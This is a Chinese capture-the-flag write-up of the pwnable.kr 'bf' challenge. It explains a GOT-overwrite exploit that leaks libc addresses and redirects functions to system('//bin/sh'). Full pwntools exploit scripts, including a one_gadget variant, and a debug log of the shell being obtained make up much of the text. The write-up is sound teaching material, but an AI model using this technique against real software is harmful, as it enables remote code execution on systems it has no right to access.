Brain fuck-pwnable.kr三种思路详解
2019-11-09 09:00:30 Author: www.freebuf.com(查看原文) 阅读量:147 收藏

前言

题目主要考点:GOT覆写技术。关于GOT覆写的基础知识以及例题可以参考这些文章:

深入理解GOT表覆写技术

GOT表覆写技术

题目

I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/bf

Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

题目提供的仅有程序以及函数库

1.png

一个32bit开启了Stack、NX、RELRO保护的程序

初次尝试性运行:

2.png

程序大体是一个brainfuck测试程序,并且给出提示不要输入[]

审计

图中IDA截图部分函数名被替换及注释

main()中主要是赋值了一个全局变量p(第10行),输出一下欢迎提示语,然后清空了s的栈空间,从标准化输入读取数据到s中。然后依次取出s中的数作为参数,传入到do_brainfuck()

3.png

根据题目提示,还有结合do_brainfuck()来看,推测程序是一个小型的brain fuck编译器什么是brainfuck(维基))。

do_brainfuck()里面主要是一个选择分支switch,其中的43、44等等都是ascii码,对应的字符请看图上IDA注释。

4.png

其中各个分支(符号代表)的功能,可见下表:(部分来源于TaQini

操作 含义 解释
> p += 1 p值加1
< p -= 1 p值减1
+ (*p) += 1 p值指向的值加1
(*p) -= 1 p值指向的值减1
. putchar(*p) 输出
, getchar(*p) 输入

简单来说就是:,、.分别控制输入输出;<、>分别控制p后退前进;+、-分别控制p指针的前进后退。

brainfuck中的<、>实际上影响的是p中存储的值;+、-影响的是存储在tape的值

思路

为什么说这条题是考GOT覆写技术?或者说作者所设想的解题思路是通过GOT表覆写?(实际上应该不止这一种方法)

我们来看两个全局变量p和tape,在程序中的位置:bss段

5.png

这就离.got.plt很近,在IDA向上翻,不远就能看到这段信息:

6.png

指针*p指向的tape距离.got.plt最高位的函数距离是0×70,小于0×400。就完全有可能利用do_brainfuck()提供的移动&读取功能泄露出函数真实地址,进而计算得出libc基地址,并且可以利用写入功能覆写GOT表,控制函数跳转。

现在已有的条件是可以泄露出libc的基地址,最终目的是get shell,我们还需要一个system(‘//bin/sh’)。题目提供了程序调用的函数库(libc),这就很方便得到某函数的偏移地址了。因此system()函数通过基地址加上偏移地址得到。那么现在关键是怎么传递参数//bin/sh

在main()中的这段代码中,memset()、fgets()被前后调用,我们可用将参数//bin/sh放到memset()首个参数位。

7.png

通过覆写GOT将memset()替换为有读取写入并传递参数功能的函数(如:gets),将fgets()替换为system()并向里传入参数。其中gets()的真实地址获取方式与system()相同。

思路总结:

通过泄露putchar()真实地址,得出libc基地址

覆写memset()为gets(),fgets()为system()

大致思路如上,具体实现需要注意的细节,在下面的脚本章节中,搭配具体脚本讲解。

脚本

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 处理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影响的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函数起始地址,可在IDA查到
raw_libc_base_addr = '' # 用于存放泄露的putchar真实地址
# 构造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 调整p指向到putchar(0x0804A030)
payload += '.' # 调用一次putchar函数,让plt中有putchar真实地址的记录
payload += '.>' * 0x4 # 读取putchar真实地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函数的顶部(0x0804A030),并覆写putchar为main函数的地址(用于覆写完成后,回跳到程序中运行函数getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 调整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆写memset为system函数地址
payload += '<' * (memset_addr - fgets_addr + 4) # 调整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆写fgets为gets函数地址
payload += '.' # 调用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 计算libc基地址&各函数真实地址
p.recv(1) # 接收第一次调用putchar时,产生的1byte无用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真实地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真实地址-函数在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 计算gets真实地址
system_addr = libc_base_addr + libc.symbols['system'] # 计算system真实地址
# 打印计算得到的各函数真实函数地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 输入各函数的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system参数,调用sh。\0为结束输入符
p.interactive()

处理地址部分:函数在内存的地址都是通过在IDA,从P变量向上翻到.got.plt中函数的地址。也可以用objdump -R ./bf查找got表,查询结果与在IDA中的相同。

构造payload部分

注意使用>、<移动p时(实际上增加p中值,相当于p+=1 p++),起始地址是0x0804A0A0(p被赋值&tape)。所以开始计算移动到putchar()应该是0x0804A0A0 – 0x0804A030

88行因为程序运行到目前为止,还有没有运用过一次putchar(),所以plt中没有记录,因此需要调用一次putchar(),即输入一个.。注意这里可能会给我们返回1byte的无用信息(因为调用了putchar()),所以我们在108行处理无用信息后,再开始接收泄露的putchar()真实地址。但从debug返回的信息来看,108行没有接收到任何字节,反而在109行接收到了5byte的信息(首位是\00),所以到底需要不需要108行处理1byte无用信息就根据实际情况自行调整吧~,反正脚本都能跑的通XD

之所以要将putchar()覆写为main(),是因为我们覆写完各函数之后,需要运行被覆写的函数才能get shell 啊!所以需要回跳到main()运行函数。

计算libc基地址

这里防止本人的年轻人痴呆就在大概记录下怎么计算libc基地址。

在程序运行环境的libc文件时,我们可以利用pwntools将libc文件用ELF()加载后(如:libc = ELF(“./your_libc_file_name.so”),可以查询到各个函数在相对于libc基地址的偏移地址(如:libc.symbols['system'])。然后把利用程序漏洞而泄露出来的函数真实地址减去偏移地址就是libc基地址。(110行)

输入各函数的地址

看到其他writeup下面有提问:为什么一次性输入全部的地址,就能够输入到指定位置?

首先清楚的是我们调用brainfuck中的,输入,会从标准化输入中读取内容并输入(如果缓冲区有东西)这里补充一点个人理解:scanf、gets等等输入函数都有对应的结束输入符。例如我们用scanf采集我们的输入,空格就是输入结束符。假设我们这个时候输入这样的一段字符串test1 test2,那么scanf中采集到的是test1,而剩下的test2就会被放入标准化输入的缓冲区。

我们在发送payload(103行)之后,程序实际上是停留在了90行等待我们输入的阶段,然后我们输入全部的覆盖地址信息,程序会采集main()的地址覆写了putchar(),剩下的地址会被放入到了标准化输入的缓冲区。直到下一次调用输入时,就会从缓冲区取值输入。这就是为什么我们能一次性输入全部的值。

125行字符串末尾加了\0手动结束输入。

LOG

skye@skye-ubuntu18:~/pwnable.kr/bfed$ python2 bf.py 
[DEBUG] PLT 0x8048440 getchar
[DEBUG] PLT 0x8048450 fgets
[DEBUG] PLT 0x8048460 __stack_chk_fail
[DEBUG] PLT 0x8048470 puts
[DEBUG] PLT 0x8048480 __gmon_start__
[DEBUG] PLT 0x8048490 strlen
[DEBUG] PLT 0x80484a0 __libc_start_main
[DEBUG] PLT 0x80484b0 setvbuf
[DEBUG] PLT 0x80484c0 memset
[DEBUG] PLT 0x80484d0 putchar
[*] '/home/skye/pwnable.kr/bfed/bf'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/skye/pwnable.kr/bfed/bf_libc.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] start send
[+] Opening connection to pwnable.kr on port 9001: Done
[DEBUG] Received 0x25 bytes:
    'welcome to brainfuck testing system!!'
[DEBUG] Received 0x2d bytes:
    '\n'
    'type some brainfuck instructions except [ ]\n'
[DEBUG] Sent 0xbf bytes:
    '<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<..>.>.>.><<<<,>,>,>,><<<<<<<<,>,>,>,><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,>.\n'
[*] send end
[DEBUG] Received 0x1 bytes:
    00000000  d6                                                  │·│
    00000001
[DEBUG] Received 0x4 bytes:
    00000000  20 29 64 f7                                         │ )d·││
    00000004
[+] putchar_addr = 0xf7642920
[+] libc_base_addr = 0xf75e1000
[+] gets_addr = 0xf76403e0
[+] system_addr = 0xf761bda0
[DEBUG] Sent 0x4 bytes:
    00000000  71 86 04 08                                         │q···││
    00000004
[DEBUG] Sent 0x4 bytes:
    00000000  e0 03 64 f7                                         │··d·││
    00000004
[DEBUG] Sent 0x4 bytes:
    00000000  a0 bd 61 f7                                         │··a·││
    00000004
[DEBUG] Sent 0xa bytes:
    00000000  2f 2f 62 69  6e 2f 73 68  00 0a                     │//bi│n/sh│··│
    0000000a
[*] Switching to interactive mode
[DEBUG] Received 0x25 bytes:
    'welcome to brainfuck testing system!!'
welcome to brainfuck testing system!![DEBUG] Received 0x2d bytes:
    '\n'
    'type some brainfuck instructions except [ ]\n'
type some brainfuck instructions except [ ]
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x23 bytes:
    'BrainFuck? what a weird language..\n'
BrainFuck? what a weird language..
$

总结

bss段靠近.got.plt段,可能存在GOT覆写

IDA查找.got.plt段和objdump -R file_name查询got表的函数地址一致

一点点异想天开

嗯??不是说3种解法么?怎么总结了?别急这不就来了么?嘻嘻XD

这里只给出第一种方法的详解,另外一种给出思路。

1. 利用one_gadget

其实将fgets()、memset()分别覆写为gets()、system(),然后通过gets()向system()输入参数/bin/sh。这个步骤不是在构建一个gadget?那么是不是可以用one_gadget工具查询在给出的函数文件本身就存在的one_gadget,然后覆写GOT表,直接跳转get shell,免去了自己手动构建gadget的过程XD。

怎么安装one_gadget看这里或谷歌之

首先先用one_gadget查下给定的函数库有哪些one-gadget。

8.png

这里给出6个one-gadget,那就一个个试,直到可以为止(测试 结果:最后两个可行)

然后将payload构建代码,发送的地址信息修改一下(38行;具体看下面给出的脚本)

#coding:utf-8
   from pwn import *
   context.log_level = 'debug'
   elf = ELF("./bf")
   libc = ELF("./bf_libc.so")
   # address
   tape_addr = 0x0804A0A0
   putchar_addr = 0x0804A030
   putchar_libc_offset = libc.symbols['putchar']   
   raw_libc_base_addr = ''
   # build payload
   payload = '' 
   payload += '<' * (tape_addr - putchar_addr) # move to putchar address(0x0804A030)
   payload += '.' # load putchar into plt (for the time to use putchar)
   payload += '.>' * 0x4 # load putchar real address
   payload += '<' * 0x4 + ',>' * 0x4 # overload putchar
   payload += '.' # getshell
   log.info("start send")
   p = remote('pwnable.kr',9001)
   #p = process("./bf")
   p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
   p.sendline(payload)
   log.info("send end")
   # libc_base_addr
   p.recv(1) # recv the first time call putchar junk info
   raw_libc_base_addr = u32(p.recv(4))
   libc_base_addr = raw_libc_base_addr - putchar_libc_offset # recv_addr - offset == base_addr
   p.send(p32(libc_base_addr + 0x5fbc5)) # 将one-gadget偏移地址填在这里,现在给出的偏移地址为试验成功的。0x5fbc6也是可以的。
   p.interactive()

2. shellcode

还有一个想法就是我们在p指向的tape左右共计0×800的空间内找到一个可写入的空间,将shellcode写入,然后覆写GOT表,跳转运行shellcode来get shell?

由于长度有限制,可以到http://shell-storm.org找短一点的shellcode。

4.png

*本文作者:skye231,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/vuls/216749.html
如有侵权请联系:admin#unsafe.sh